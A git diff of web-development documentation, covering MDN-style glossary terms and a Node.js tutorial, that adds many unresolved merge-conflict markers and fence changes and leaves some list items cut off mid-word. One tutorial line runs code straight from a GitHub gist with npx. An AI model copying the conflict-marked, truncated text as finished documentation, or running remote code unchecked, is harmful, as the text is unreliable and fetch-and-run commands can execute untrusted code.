+>>>>>>> master
 
 ---
 
@@ -14244,9 +21931,15 @@ Tim Berners-Lee proposed the architecture of what became known as the World Wide
 
 The system we know today as "the Web" consists of several components:
 
+<<<<<<< HEAD
 - The **_Glossary("HTTP"_)** protocol governs data transfer between a server and a client.
 - To access a Web component, a client supplies a unique universal identifier, called a **_Glossary("URL"_)** (uniform resource locator) or _Glossary("URI"_) (uniform resource identifier) (formally called Universal Document Identifier (UDI)).
 - **_Glossary("HTML"_)** (hypertext markup language) is the most common format for publishing web documents.
+=======
+-   The **_Glossary("HTTP"_)** protocol governs data transfer between a server and a client.
+-   To access a Web component, a client supplies a unique universal identifier, called a **_Glossary("URL"_)** (uniform resource locator) or _Glossary("URI"_) (uniform resource identifier) (formally called Universal Document Identifier (UDI)).
+-   **_Glossary("HTML"_)** (hypertext markup language) is the most common format for publishing web documents.
+>>>>>>> master
 
 Linking, or connecting resources through _Glossary("Hyperlink","hyperlinks"_), is a defining concept of the Web, aiding its identity as a collection of connected documents.
 
@@ -14254,17 +21947,29 @@ Soon after inventing the Web, Tim Berners-Lee founded the _Glossary("W3C"_) (Wor
 
 #### See also
 
+<<<<<<< HEAD
 - [Learn the Web](/en-US/docs/Learn)
 - _Interwiki("wikipedia", "World Wide Web"_) on Wikipedia
 - [The W3C website](https://w3.org)
+=======
+-   [Learn the Web](/en-US/docs/Learn)
+-   _Interwiki("wikipedia", "World Wide Web"_) on Wikipedia
+-   [The W3C website](https://w3.org)
+>>>>>>> master
 
 ---
 
 ## Term: Wrapper
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Wrapper
+=======
+-   CodingScripting
+-   Glossary
+-   Wrapper
+>>>>>>> master
 
 ---
 
@@ -14274,21 +21979,37 @@ For example, SDK Libraries for AWS are examples of wrappers.
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Wrapper function"_) (Wikipedia)
 - [MDN Web Docs Glossary](/en-US/docs/Glossary)
 
     - _Glossary("API"_)
     - _Glossary("Class"_)
     - _Glossary("Function"_)
+=======
+-   _Interwiki("wikipedia", "Wrapper function"_) (Wikipedia)
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("API"_)
+    -   _Glossary("Class"_)
+    -   _Glossary("Function"_)
+>>>>>>> master
 
 ---
 
 ## Term: XForms
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Deprecated
 - XForms
+=======
+-   CodingScripting
+-   Glossary
+-   Deprecated
+-   XForms
+>>>>>>> master
 
 ---
 
@@ -14300,11 +22021,19 @@ For example, SDK Libraries for AWS are examples of wrappers.
 
 ## Term: XHR (XMLHttpRequest)
 
+<<<<<<< HEAD
 - API
 - Beginner
 - CodingScripting
 - Glossary
 - XMLHttpRequest
+=======
+-   API
+-   Beginner
+-   CodingScripting
+-   Glossary
+-   XMLHttpRequest
+>>>>>>> master
 
 ---
 
@@ -14312,18 +22041,31 @@ For example, SDK Libraries for AWS are examples of wrappers.
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "XMLHttpRequest"_) on Wikipedia
 - [Synchronous vs. Asynchronous Communications](https://peoplesofttutorial.com/difference-between-synchronous-and-asynchronous-messaging/)
 - The _domxref("XMLHttpRequest"_) object
 - The [documentation on MDN about how to use XMLHttpRequest](/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest)
+=======
+-   _interwiki("wikipedia", "XMLHttpRequest"_) on Wikipedia
+-   [Synchronous vs. Asynchronous Communications](https://peoplesofttutorial.com/difference-between-synchronous-and-asynchronous-messaging/)
+-   The _domxref("XMLHttpRequest"_) object
+-   The [documentation on MDN about how to use XMLHttpRequest](/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest)
+>>>>>>> master
 
 ---
 
 ## Term: XHTML
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - XHTML
+=======
+-   CodingScripting
+-   Glossary
+-   XHTML
+>>>>>>> master
 
 ---
 
@@ -14336,14 +22078,23 @@ For example, SDK Libraries for AWS are examples of wrappers.
 Note also that if you wish to allow xml:base, you will need the [xml:base function](/en-US/docs/Archive/Add-ons/Code_snippets/XML/base_function), and the line beginning `var href = ...` should become:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var href = getXmlBaseLink(/* XLink sans xml:base */ xinclude.getAttribute('href'), /* Element to query from */ xinclude);
 ```
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function resolveXIncludes(docu) {
     // http://www.w3.org/TR/xinclude/#xml-included-items
@@ -14487,8 +22238,13 @@ function resolveXIncludes(docu) {
 
 ## Term: XLink
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -14502,6 +22258,7 @@ XLink is used in [SVG](/en-US/docs/Web/SVG), [MathML](/en-US/docs/Web/MathML), a
 
 ### Specifications
 
+<<<<<<< HEAD
 - [XLink 1.0](https://www.w3.org/TR/xlink/)
 - [XLink 1.1](https://www.w3.org/TR/xlink11/) (currently a Working Draft)
 
@@ -14509,15 +22266,31 @@ XLink is used in [SVG](/en-US/docs/Web/SVG), [MathML](/en-US/docs/Web/MathML), a
 
 - [XML](/en-US/docs/Web/XML)
 - [Code snippets:getAttributeNS](/en-US/docs/Web/API/Element/getAttributeNS) - a wrapper for dealing with some browsers not supporting this DOM method
+=======
+-   [XLink 1.0](https://www.w3.org/TR/xlink/)
+-   [XLink 1.1](https://www.w3.org/TR/xlink11/) (currently a Working Draft)
+
+##### See also
+
+-   [XML](/en-US/docs/Web/XML)
+-   [Code snippets:getAttributeNS](/en-US/docs/Web/API/Element/getAttributeNS) - a wrapper for dealing with some browsers not supporting this DOM method
+>>>>>>> master
 
 ---
 
 ## Term: XML
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - XML
 - l10n:priority
+=======
+-   CodingScripting
+-   Glossary
+-   XML
+-   l10n:priority
+>>>>>>> master
 
 ---
 
@@ -14525,16 +22298,27 @@ XLink is used in [SVG](/en-US/docs/Web/SVG), [MathML](/en-US/docs/Web/MathML), a
 
 #### See also
 
+<<<<<<< HEAD
 - [XML introduction](/en-US/docs/Web/XML/XML_introduction)
+=======
+-   [XML introduction](/en-US/docs/Web/XML/XML_introduction)
+>>>>>>> master
 
 ---
 
 ## Term: XPath
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - XML
 - XPath
+=======
+-   CodingScripting
+-   Glossary
+-   XML
+-   XPath
+>>>>>>> master
 
 ---
 
@@ -14542,19 +22326,33 @@ XLink is used in [SVG](/en-US/docs/Web/SVG), [MathML](/en-US/docs/Web/MathML), a
 
 #### See also
 
+<<<<<<< HEAD
 - [XPath documentation on MDN](/en-US/docs/Web/XPath)
 - [XPath specification](https://www.w3.org/TR/xpath-30/)
 - [Official website](https://www.w3.org/standards/techs/xpath#w3c_all)
 - _Interwiki("wikipedia", "XPath"_) on Wikipedia
+=======
+-   [XPath documentation on MDN](/en-US/docs/Web/XPath)
+-   [XPath specification](https://www.w3.org/TR/xpath-30/)
+-   [Official website](https://www.w3.org/standards/techs/xpath#w3c_all)
+-   _Interwiki("wikipedia", "XPath"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: XQuery
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - XML
 - XQuery
+=======
+-   CodingScripting
+-   Glossary
+-   XML
+-   XQuery
+>>>>>>> master
 
 ---
 
@@ -14562,17 +22360,29 @@ XLink is used in [SVG](/en-US/docs/Web/SVG), [MathML](/en-US/docs/Web/MathML), a
 
 #### See also
 
+<<<<<<< HEAD
 - [Official website](https://www.w3.org/XML/Query/)
 - _Interwiki("wikipedia", "XQuery"_) on Wikipedia
+=======
+-   [Official website](https://www.w3.org/XML/Query/)
+-   _Interwiki("wikipedia", "XQuery"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: XSLT
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - XML
 - XSLT
+=======
+-   CodingScripting
+-   Glossary
+-   XML
+-   XSLT
+>>>>>>> master
 
 ---
 
@@ -14582,5 +22392,10 @@ XSLT has its own processor that accepts XML input, or any format convertible to
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "XSLT"_) on Wikipedia
 - [XSLT documentation on MDN](/en-US/docs/Web/XSLT)
+=======
+-   _Interwiki("wikipedia", "XSLT"_) on Wikipedia
+-   [XSLT documentation on MDN](/en-US/docs/Web/XSLT)
+>>>>>>> master
diff --git a/src/pages/docs/docs/index.md b/src/pages/docs/docs/index.md
index 611cb863c9..416d0f5874 100644
--- a/src/pages/docs/docs/index.md
+++ b/src/pages/docs/docs/index.md
@@ -11,7 +11,11 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
 \\
+=======
+
+>>>>>>> master
 
 <br>
 <h1>My DevDocs Deploy</h1>
diff --git a/src/pages/docs/docs/node-docs-complete.md b/src/pages/docs/docs/node-docs-complete.md
index fc30b92fd9..8e07de3202 100644
--- a/src/pages/docs/docs/node-docs-complete.md
+++ b/src/pages/docs/docs/node-docs-complete.md
@@ -3,14 +3,14 @@ title: Node Docs
 weight: 0
 excerpt: Node Docs
 seo:
-    title: ''
-    description: ''
+    title: 'Node Docs'
+    description: 'Node Docs'
     robots: []
     extra: []
 template: docs
 ---
 
-# How to use the Node.js REPL
+## How to use the Node.js REPL
 
 description: "REPL stands for Read-Evaluate-Print-Loop, and it's a great way to explore the Node.js features in a quick way"
 
@@ -18,7 +18,7 @@ description: "REPL stands for Read-Evaluate-Print-Loop, and it's a great way to
 
 The `node` command is the one we use to run our Node.js scripts:
 
-```bash
+```console
 
 node script.js
 
@@ -26,7 +26,7 @@ node script.js
 
 If we omit the filename, we use it in REPL mode:
 
-```bash
+```console
 
 node
 
@@ -36,7 +36,7 @@ node
 
 If you try it now in your terminal, this is what happens:
 
-```bash
+```console
 
 ❯ node
 
@@ -138,7 +138,7 @@ description: 'How to accept arguments in a Node.js program passed from the comma
 
 You can pass any number of arguments when invoking a Node.js application using
 
-```bash
+```console
 
 node app.js
 
@@ -148,7 +148,7 @@ Arguments can be standalone or have a key and a value.
 
 For example:
 
-```bash
+```console
 
 node app.js joe
 
@@ -156,7 +156,7 @@ node app.js joe
 
 or
 
-```bash
+```console
 
 node app.js name=joe
 
@@ -190,7 +190,7 @@ const args = process.argv.slice(2);
 
 If you have one argument without an index name, like this:
 
-```bash
+```console
 
 node app.js joe
 
@@ -206,7 +206,7 @@ args[0];
 
 In this case:
 
-```bash
+```console
 
 node app.js name=joe
 
@@ -224,7 +224,7 @@ args['name']; //joe
 
 Install the required `minimist` package using `npm` (lesson about the package manager comes [later on](images/https://nodejs.dev/learn/an-introduction-to-the-npm-package-manager)).
 
-```bash
+```console
 
 npm install minimist
 
@@ -232,7 +232,7 @@ npm install minimist
 
 This time you need to use double dashes before each argument name:
 
-```bash
+```console
 
 node app.js --name=joe
 
@@ -392,7 +392,7 @@ function1();
 
 This will print the stack trace. This is what's printed if we try this in the Node.js REPL:
 
-```bash
+```console
 
 Trace
 
@@ -664,7 +664,7 @@ There are many things that `npm` does.
 
 If a project has a `package.json` file, by running
 
-```bash
+```console
 
 npm install
 
@@ -676,7 +676,7 @@ it will install everything the project needs, in the `node_modules` folder, crea
 
 You can also install a specific package by running
 
-```bash
+```console
 
 npm install <package-name>
 
@@ -798,7 +798,7 @@ When you install a package using `npm` you can perform 2 types of installation:
 
 By default, when you type an `npm install` command, like:
 
-```bash
+```console
 
 npm install lodash
 
@@ -810,7 +810,7 @@ As this happens, `npm` also adds the `lodash` entry in the `dependencies` proper
 
 A global installation is performed using the `-g` flag:
 
-```bash
+```console
 
 npm install -g lodash
 
@@ -838,7 +838,7 @@ When you install a package into your `node_modules` folder using `npm` , or also
 
 Say you install `lodash`, the popular JavaScript utility library, using
 
-```bash
+```console
 
 npm install lodash
 
@@ -872,7 +872,7 @@ How do you execute those?
 
 You can of course type `./node_modules/.bin/cowsay` to run it, and it works, but `npx`, included in the recent versions of `npm` (since 5.2), is a much better option. You just run:
 
-```bash
+```console
 
 npx cowsay
 
@@ -1362,7 +1362,7 @@ Sets a list of `npm` packages installed as dependencies.
 
 When you install a package using npm or yarn:
 
-```bash
+```console
 
 npm install <PACKAGENAME>
 
@@ -1392,7 +1392,7 @@ They differ from `dependencies` because they are meant to be installed only on a
 
 When you install a package using npm or yarn:
 
-```bash
+```console
 
 npm install --save-dev <PACKAGENAME>
 
@@ -1768,7 +1768,7 @@ With this server running, connect to it using your system's command-line TCP int
 
 In another terminal connect to the running TCP server:
 
-```bash
+```console
 
 telnet localhost 8124
 
@@ -1870,7 +1870,7 @@ description: 'How to find out which version of a particular package you have ins
 
 To see the version of all installed npm packages, including their dependencies:
 
-```bash
+```console
 
 npm list
 
@@ -1878,7 +1878,7 @@ npm list
 
 For example:
 
-```bash
+```console
 
 ❯ npm list
 
@@ -1912,7 +1912,7 @@ You can also just open the `package-lock.json` file, but this involves some visu
 
 To get only your top-level packages (basically, the ones you told npm to install and you listed in the `package.json`), run `npm list --depth=0`:
 
-```bash
+```console
 
 ❯ npm list --depth=0
 
@@ -1924,7 +1924,7 @@ To get only your top-level packages (basically, the ones you told npm to install
 
 You can get the version of a specific package by specifying its name:
 
-```bash
+```console
 
 ❯ npm list cowsay
 
@@ -1936,7 +1936,7 @@ You can get the version of a specific package by specifying its name:
 
 This also works for dependencies of packages you installed:
 
-```bash
+```console
 
 ❯ npm list minimist
 
@@ -1952,7 +1952,7 @@ This also works for dependencies of packages you installed:
 
 If you want to see what's the latest available version of the package on the npm repository, run `npm view [package_name] version`:
 
-```bash
+```console
 
 ❯ npm view cowsay version
 
@@ -1966,7 +1966,7 @@ description: 'Learn how to install an older version of an npm package, something
 
 You can install an old version of an npm package using the `@` syntax:
 
-```bash
+```console
 
 npm install <package>@<version>
 
@@ -1974,7 +1974,7 @@ npm install <package>@<version>
 
 Example:
 
-```bash
+```console
 
 npm install cowsay
 
@@ -1984,7 +1984,7 @@ installs version 1.3.1 (at the time of writing).
 
 Install version 1.2.0 with:
 
-```bash
+```console
 
 npm install cowsay@1.2.0
 
@@ -1992,7 +1992,7 @@ npm install cowsay@1.2.0
 
 The same can be done with global packages:
 
-```bash
+```console
 
 npm install -g webpack@4.16.4
 
@@ -2000,7 +2000,7 @@ npm install -g webpack@4.16.4
 
 You might also be interested in listing all the previous versions of a package. You can do it with `npm view <package> versions`:
 
-```bash
+```console
 
 ❯ npm view cowsay versions
 
@@ -2108,7 +2108,7 @@ Some of those updates are major releases. Running `npm update` won't update the
 
 To update all packages to a new major version, install the `npm-check-updates` package globally:
 
-```bash
+```console
 
 npm install -g npm-check-updates
 
@@ -2116,7 +2116,7 @@ npm install -g npm-check-updates
 
 then run it:
 
-```bash
+```console
 
 ncu -u
 
@@ -2126,7 +2126,7 @@ this will upgrade all the version hints in the `package.json` file, to `dependen
 
 You are now ready to run the update:
 
-```bash
+```console
 
 npm update
 
@@ -2134,7 +2134,7 @@ npm update
 
 If you just downloaded the project without the `node_modules` dependencies and you want to install the shiny new versions first, just run
 
-```bash
+```console
 
 npm install
 
@@ -2222,7 +2222,7 @@ description: 'How to uninstall an npm Node.js package, locally or globally'
 
 To uninstall a package you have previously installed **locally** (using `npm install <package-name>` in the `node_modules` folder, run
 
-```bash
+```console
 
 npm uninstall <package-name>
 
@@ -2236,7 +2236,7 @@ package.json will be automatically updated with devDependency and dependency onc
 
 If the package is installed **globally**, you need to add the `-g` / `--global` flag:
 
-```bash
+```console
 
 npm uninstall -g <package-name>
 
@@ -2244,7 +2244,7 @@ npm uninstall -g <package-name>
 
 for example:
 
-```bash
+```console
 
 npm uninstall -g webpack
 
@@ -2304,7 +2304,7 @@ Great examples of popular global packages which you might know are
 
 You probably have some packages installed globally already on your system. You can see them by running
 
-```bash
+```console
 
 npm list -g --depth 0
 
@@ -2384,7 +2384,7 @@ This only works if you have the `cowsay` command globally installed from npm pre
 
 `npx` allows you to run that npm command without installing it first. If the command isn't found, `npx` will install it into a central cache:
 
-```bash
+```console
 
 npx cowsay "Hello"
 
@@ -2406,7 +2406,7 @@ and many more.
 
 Use the `@` to specify the version, and combine that with the [`node` npm package](images/https://www.npmjs.com/package/node):
 
-```bash
+```console
 
 npx node@10 -v #v10.18.1
 
@@ -2422,7 +2422,7 @@ This helps to avoid tools like `nvm` or the other Node.js version management too
 
 You can run code that sits in a GitHub gist, for example:
 
-```bash
+```console
 
 npx https://gist.github.com/zkat/4bc19503fe9e9309e2bfaa2c58074d32
 
@@ -2530,7 +2530,12 @@ Take this example:
 
 <iframe title="Queuing function execution" src="https://stackblitz.com/edit/nodejs-dev-0004-01?index.js&zenmode=1&view=editor" alt="nodejs-dev-0004-01 on StackBlitz" style="height: 400px; width: 100%; border: 0;"></iframe>
 
+<<<<<<< HEAD
 ```js
+=======
+````js
+//
+>>>>>>> master
 
 const bar = () => console.log('bar')
 
@@ -2552,7 +2557,7 @@ foo()
 
 This code prints, maybe surprisingly:
 
-```bash
+```console
 
 foo
 
@@ -2560,7 +2565,7 @@ baz
 
 bar
 
-```
+````
 
 When this code runs, first foo() is called. Inside foo() we first call setTimeout, passing `bar` as an argument, and we instruct it to run immediately as fast as it can, passing 0 as the timer. Then we call baz().
 
@@ -2616,7 +2621,7 @@ foo();
 
 This prints
 
-```txt
+````txt
 
 foo
 
@@ -2648,7 +2653,7 @@ When we pass a function to `process.nextTick()`, we instruct the engine to invok
 process.nextTick(() => {
     //do something
 });
-```
+````
 
 The event loop is busy processing the current function code.
 
@@ -2754,6 +2759,7 @@ Node.js is a low-level platform. In order to make things easy and exciting for d
 
 Many of those established over time as popular options. Here is a non-comprehensive list of the ones worth learning:
 
+<<<<<<< HEAD
 - [**AdonisJS**](images/https://adonisjs.com/): A TypeScript-based fully featured framework highly focused on developer ergonomics, stability, and confidence. Adonis is one of the fastest Node.js web frameworks.
 - 
 - [**Egg.js**](images/https://eggjs.org/en/): A framework to build better enterprise frameworks and apps with Node.js & Koa.
@@ -2787,6 +2793,41 @@ Many of those established over time as popular options. Here is a non-comprehens
 - [**Socket.io**](images/https://socket.io/): A real-time communication engine to build network applications.
 
 - [**Strapi**](images/https://strapi.io/): Strapi is a flexible, open-source Headless CMS that gives developers the freedom to choose their favorite tools and frameworks while also allowing editors to easily manage and distribute their content. By making the admin panel and API extensible through a plugin system, Strapi enables the world's largest companies to accelerate content delivery while building beautiful digital experiences.
+=======
+-   [**AdonisJS**](images/https://adonisjs.com/): A TypeScript-based fully featured framework highly focused on developer ergonomics, stability, and confidence. Adonis is one of the fastest Node.js web frameworks.
+-
+-   [**Egg.js**](images/https://eggjs.org/en/): A framework to build better enterprise frameworks and apps with Node.js & Koa.
+-
+-   [**Express**](images/https://expressjs.com/): It provides one of the most simple yet powerful ways to create a web server. Its minimalist approach, unopinionated, focused on the core features of a server, is key to its success.
+-
+-   [**Fastify**](images/https://fastify.io/): A web framework highly focused on providing the best developer experience with the least overhead and a powerful plugin architecture. Fastify is one of the fastest Node.js we
+-
+-   [**FeatherJS**](images/https://feathersjs.com/): Feathers is a lightweight web-framework for creating real-time applications an
+-
+-   [**Gatsby**](images/https://www.gatsbyjs.com/): A [React](images/https://reactjs.org/)-based, [GraphQL](images/https://graphql.org/)
+-
+-   [**hapi**](images/https://hapijs.com): A rich framework for building applications and services that enables developers to focus on writing reusable application logic instead of spending time building infrastructure.
+-
+-   [**koa**](images/http://koajs.com/): It is built by the same team behind Express, aims to be even simpler and smaller, building on top of years of knowledge. The new project born out of the need to create incompatibl
+-
+-   [**Loopback.io**](images/https://loopback.io/): Makes it easy to build modern applications that require complex integrations.
+
+-   [**Meteor**](images/https://meteor.com): An incredibly powerful full-stack framework, powering you with an isomorphic approach to building apps with JavaScript, sharing code on the client and the server. Once an off-the-shelf tool that provided everything, now integrates with frontend libs [React](images/https://reactjs.org/), [Vue](images/https://vuejs.org/), and [Angular](images/https://angular.io). Can be used to create mobile apps as well.
+
+-   [**Micro**](images/https://github.com/zeit/micro): It provides a very lightweight server to create asynchronous HTTP microservices.
+
+-   [**NestJS**](images/https://nestjs.com/): A TypeScript based progressive Node.js framework for building enterprise-grade efficient, reliable and scalable server-side applications.
+
+-   [**Next.js**](images/https://nextjs.org/): [React](images/https://reactjs.org) framework that gives you the best developer experience with all the features you need for production: hybrid static & server rendering, TypeScript support, smart bundling, route pre-fetching, and more.
+
+-   [**Nx**](images/https://nx.dev/): A toolkit for full-stack monorepo development using NestJS, Express, [React](images/https://reactjs.org/), [Angular](images/https://angular.io), and more! Nx helps scale your development from one team building one application to many teams collaborating on multiple applications!
+
+-   [**Sapper**](images/https://sapper.svelte.dev/): Sapper is a framework for building web applications of all sizes, with a beautiful development experience and flexible filesystem-based routing. Offers SSR and more!
+
+-   [**Socket.io**](images/https://socket.io/): A real-time communication engine to build network applications.
+
+-   [**Strapi**](images/https://strapi.io/): Strapi is a flexible, open-source Headless CMS that gives developers the freedom to choose their favorite tools and frameworks while also allowing editors to easily manage and distribute their content. By making the admin panel and API extensible through a plugin system, Strapi enables the world's largest companies to accelerate content delivery while building beautiful digital experiences.
+>>>>>>> master
 
 # 'Understanding setImmediate()'
 
@@ -2866,7 +2907,7 @@ console.log(' before ');
 
 This code will print
 
-```bash
+```console
 
 before
 
@@ -3463,7 +3504,7 @@ console.log('After');
 
 The above code will print the following to the browser console:
 
-```
+````
 
 Before
 
@@ -3487,7 +3528,7 @@ const aFunction = async () => {
 };
 
 aFunction().then(alert); // This will alert 'test'
-```
+````
 
 and it's the same as:
 
@@ -3574,7 +3615,7 @@ watchOverSomeoneWatchingSomeoneDoingSomething().then((res) => {
 
 Will print:
 
-```
+````
 
 I did something and I watched and I watched as well
 
@@ -3602,7 +3643,7 @@ You initialize that using
 const EventEmitter = require('events');
 
 const eventEmitter = new EventEmitter();
-```
+````
 
 This object exposes, among many others, the `on` and `emit` methods.
 
@@ -3664,7 +3705,12 @@ Here is a sample Hello World HTTP web server:
 
 <iframe title="Build an HTTP Server" src="https://stackblitz.com/edit/nodejs-dev-0009-01?index.js&zenmode=1" alt="nodejs-dev-0009-01 on StackBlitz" style="height: 400px; width: 100%; border: 0;"></iframe>
 
+<<<<<<< HEAD
 ```js
+=======
+````js
+//
+>>>>>>> master
 
 const http = require('http')
 
@@ -3704,7 +3750,7 @@ In this case with
 
 ```js
 res.statusCode = 200;
-```
+````
 
 we set the statusCode property to 200, to indicate a successful response.
 
@@ -4449,7 +4495,7 @@ In this case the `remove()` method is what you want.
 
 Install it using
 
-```bash
+```console
 
 npm install fs-extra
 
@@ -5201,6 +5247,7 @@ With those concepts in mind, you are well on your road to become a proficient Ja
 
 The following concepts are also key to understand asynchronous programming, which is one fundamental part of Node.js:
 
+<<<<<<< HEAD
 - [Asynchronous programming and callbacks](images/https://nodejs.dev/learn/javascript-asynchronous-programming-and-callbacks)
 - 
 - [Timers](images/https://nodejs.dev/learn/discover-javascript-timers)
@@ -5208,10 +5255,23 @@ The following concepts are also key to understand asynchronous programming, whic
 - [Promises]
 - 
 - [Async and Await](images/https://nodejs.dev/learn/modern-asynchronous-javascript-with-async-and-await)
+=======
+-   [Asynchronous programming and callbacks](images/https://nodejs.dev/learn/javascript-asynchronous-programming-and-callbacks)
+-
+-   [Timers](images/https://nodejs.dev/learn/discover-javascript-timers)
+-
+-   [Promises]
+-
+-   [Async and Await](images/https://nodejs.dev/learn/modern-asynchronous-javascript-with-async-and-await)
+>>>>>>> master
 
 - Closures
 
+<<<<<<< HEAD
 - [The Event Loop](images/https://nodejs.dev/learn/the-nodejs-event-loop)
+=======
+-   [The Event Loop](images/https://nodejs.dev/learn/the-nodejs-event-loop)
+>>>>>>> master
 
 # 'The Node.js http module'
 
@@ -5607,6 +5667,7 @@ A buffer is created using the [`Buffer.from()`](images/https://nodejs.org/api/bu
 const buf = Buffer.from('Hey!');
 ```
 
+<<<<<<< HEAD
 - [`Buffer.from(array)`](images/https://nodejs.org/api/buffer.html#buffer_class_method_buffer_from_array)
 - 
 - [`Buffer.from(arrayBuffer[, byteOffset[, length]])`](images/https://nodejs.org/api/buffer.html#buffer_class
@@ -5614,6 +5675,15 @@ const buf = Buffer.from('Hey!');
 - [`Buffer.from(buffer)`](images/https://nodejs.org/api/buffer.html#buffer_class_method_buffer_from_buffer)
 
 - [`Buffer.from(string[, encoding])`](images/https://nodejs.org/api/buffer.html#buffer_class_method_buffer_from_string_encoding)
+=======
+-   [`Buffer.from(array)`](images/https://nodejs.org/api/buffer.html#buffer_class_method_buffer_from_array)
+-
+-   [`Buffer.from(arrayBuffer[, byteOffset[, length]])`](images/https://nodejs.org/api/buffer.html#buffer_class
+-
+-   [`Buffer.from(buffer)`](images/https://nodejs.org/api/buffer.html#buffer_class_method_buffer_from_buffer)
+
+-   [`Buffer.from(string[, encoding])`](images/https://nodejs.org/api/buffer.html#buffer_class_method_buffer_from_string_encoding)
+>>>>>>> master
 
 You can also just initialize the buffer passing the size. This creates a 1KB buffer:
 
@@ -6047,7 +6117,7 @@ You can signal Node.js that you are running in production by setting the `NODE_E
 
 This is usually done by executing the command
 
-```bash
+```console
 
 export NODE_ENV=production
 
@@ -6057,7 +6127,7 @@ in the shell, but it's better to put it in your shell configuration file (e.g. `
 
 You can also apply the environment variable by prepending it to your application initialization command:
 
-```bash
+```console
 
 NODE_ENV=production node app.js
 
@@ -6399,7 +6469,7 @@ Okay, so we have some TypeScript code. Now how do we run it?
 
 First thing to do is to install TypeScript in our project:
 
-```bash
+```console
 
 npm i -D typescript
 
@@ -6409,7 +6479,7 @@ Now we can compile it to JavaScript using `tsc` command in the terminal. Let's d
 
 Assuming that our file is named `example.ts`, the command would look like:
 
-```bash
+```console
 
 tsc example.ts
 
@@ -6489,6 +6559,7 @@ TypeScript is well-established in the Node.js world and used by many companies,
 
 Some of the notable examples of open-source projects using TypeScript are:
 
+<<<<<<< HEAD
 - [NestJS](images/https://nestjs.com/) - robust and fully-featured framework that makes creating scalable and well-architected systems easy and pleasant
 - 
 - [TypeORM](images/https://typeorm.io/#/) - great ORM influenced by other well-known tools from other languages like Hibernate, Doctrine or Entity Framewor
@@ -6498,6 +6569,17 @@ Some of the notable examples of open-source projects using TypeScript are:
 - [RxJS](images/https://rxjs.dev/) - widely used library for reactive programming
 
 - [AdonisJS](images/https://adonisjs.com) - A fully featured web framework with Node.js
+=======
+-   [NestJS](images/https://nestjs.com/) - robust and fully-featured framework that makes creating scalable and well-architected systems easy and pleasant
+-
+-   [TypeORM](images/https://typeorm.io/#/) - great ORM influenced by other well-known tools from other languages like Hibernate, Doctrine or Entity Framewor
+-
+-   [Prisma](images/https://prisma.io/) - next-generation ORM featuring a declarative data model, generated migrations and fully type-safe database queries
+
+-   [RxJS](images/https://rxjs.dev/) - widely used library for reactive programming
+
+-   [AdonisJS](images/https://adonisjs.com) - A fully featured web framework with Node.js
+>>>>>>> master
 
 And many, many more great projects... Maybe even your next one!
 
@@ -6551,11 +6633,19 @@ The Node.js ecosystem is huge and thanks to V8 which also powers desktop apps, w
 
 Other browsers have their own JavaScript engine:
 
+<<<<<<< HEAD
 - Firefox has [**SpiderMonkey**](images/https://spidermonkey.dev)
 - 
 - Safari has [**JavaScriptCore**](images/https://developer.apple.com/documentation/javascriptcore) (also called Nitro)
 
 - Edge was originally based on [**Chakra**](images/https://github.com/Microsoft/ChakraCore) but has more recently been [rebuilt using Chromium](images/https://support.microsoft.com/en-us/help/4501095/download-the-new-microsoft-edge-based-on-chromium) and the V8 engine.
+=======
+-   Firefox has [**SpiderMonkey**](images/https://spidermonkey.dev)
+-
+-   Safari has [**JavaScriptCore**](images/https://developer.apple.com/documentation/javascriptcore) (also called Nitro)
+
+-   Edge was originally based on [**Chakra**](images/https://github.com/Microsoft/ChakraCore) but has more recently been [rebuilt using Chromium](images/https://support.microsoft.com/en-us/help/4501095/download-the-new-microsoft-edge-based-on-chromium) and the V8 engine.
+>>>>>>> master
 
 and many others exist as well.
 
@@ -6593,7 +6683,7 @@ The usual way to run a Node.js program is to run the `node` globally available c
 
 If your main Node.js application file is `app.js`, you can call it by typing:
 
-```bash
+```console
 
 node app.js
 
@@ -6601,7 +6691,7 @@ node app.js
 
 Above, you are explicitly telling the shell to run your script with `node`. You can also embed this information into your JavaScript file with a "shebang" line. The "shebang" is the first line in the file, and tells the OS which interpreter to use for running the script. Below is the first line of JavaScript:
 
-```bash
+```console
 
 #!/usr/bin/node
 
@@ -6609,7 +6699,7 @@ Above, you are explicitly telling the shell to run your script with `node`. You
 
 Above, we are explicitly giving the absolute path of interpreter. Not all operating systems have `node` in the bin folder, but all should have `env`. You can tell the OS to run `env` with node as parameter:
 
-```bash
+```console
 
 #!/usr/bin/env node
 
@@ -6619,7 +6709,7 @@ Above, we are explicitly giving the absolute path of interpreter. Not all operat
 
 To use a shebang, your file should have executable permission. You can give `app.js` the executable permission by running:
 
-```bash
+```console
 
 chmod u+x app.js
 
@@ -6725,7 +6815,7 @@ The `process` core module of Node.js provides the `env` property which hosts all
 
 The below code runs `app.js` and set `USER_ID` and `USER_KEY`.
 
-```bash
+```console
 
 USER_ID=239482 USER_KEY=foobar node app.js
 
@@ -6747,7 +6837,7 @@ In the same way you can access any custom environment variable you set.
 
 If you have multiple environment variables in your node project, you can also create an `.env` file in the root directory of your project, and then use the [dotenv](images/https://www.npmjs.com/package/dotenv) package to load them during runtime.
 
-```bash
+```console
 
 # .env file
 
@@ -6815,6 +6905,7 @@ Object [WebAssembly] {
 
 There are multiple methods available to generate WebAssembly binary files including:
 
+<<<<<<< HEAD
